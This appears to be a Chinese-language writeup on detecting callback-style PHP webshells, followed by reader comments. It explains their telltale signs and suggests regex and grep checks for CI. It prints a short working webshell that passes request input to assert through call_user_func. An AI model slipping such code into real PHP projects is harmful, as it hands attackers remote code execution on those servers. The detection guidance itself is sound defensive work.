如何识别回调型WebShell代码?
TOPIC SOURCE
墨者学院 - WebShell代码分析溯源(第5题)Writeup
在审计 PHP 项目时,偶然在一个看似普通的入口文件里发现了 call_user_func('assert', $_REQUEST['cmd']) 这样的写法,立刻让人联想到回调型 WebShell。回调型 WebShell 的核心在于把执行入口交给外部变量,然后利用 PHP 的反射或回调机制完成代码注入,往往隐藏在业务代码的注释或错误屏蔽后面。
回调型 WebShell 的特征
与传统的直接 eval($_POST['code']) 不同,回调型往往具备以下几个“蛛丝马迹”。
- 使用
call_user_func、call_user_func_array、forward_static_call等函数进行间接调用。 - 参数来源直接指向
$_GET、$_POST、$_REQUEST、$_COOKIE,且未做任何过滤。 - 错误报告被关闭(
error_reporting(0)、@前缀)以掩盖异常。 - 注释中出现 “Exception for HTTP requests”、 “@package Requests” 等与业务无关的描述,往往是攻击者的占位符。
常见的回调实现手法
攻击者会把关键函数名写成字符串变量,甚至使用 base64 编码后再解码,形成“看得见但摸不着”的调用链。下面这段代码是典型的回调型 WebShell,代码本身只有十几行,却能让远程用户随意执行任意 PHP 表达式。
<?php
error_reporting(0);
$fn = 'assert';
$param = $_REQUEST['a'];
call_user_func($fn, $param);
?>
检测思路与实战技巧
实际排查时,先用正则抓取所有 call_user_func 系列函数,再过滤掉合法的框架调用;随后检查参数来源是否直接映射到超全局数组;最后结合静态分析工具(如 PHPStan)或自研脚本,对异常的错误屏蔽语句进行标记。对于已知的“包装层”,可以在 CI 中加入 grep -R "assert.*$_(GET|POST|REQUEST)" 的检查点,防止新代码悄悄引入。
“回调型 WebShell 的隐蔽性在于它把执行权交给了看似无害的业务函数,只有细致的流向追踪才能将其揪出。”

参与讨论
正则过滤感觉有点麻烦,有没有更简单的工具推荐?
@开头错误屏蔽这种细节太实用了
call_user_func这种写法确实隐蔽,之前差点漏掉
assert直接接$_REQUEST也太明显了吧
grep命令那个检查点可以加到日常流程里
回调型shell真防不胜防,得好好看看项目里有没有类似的
这种检测思路对老旧项目特别有用
反射机制这块可以多讲讲吗?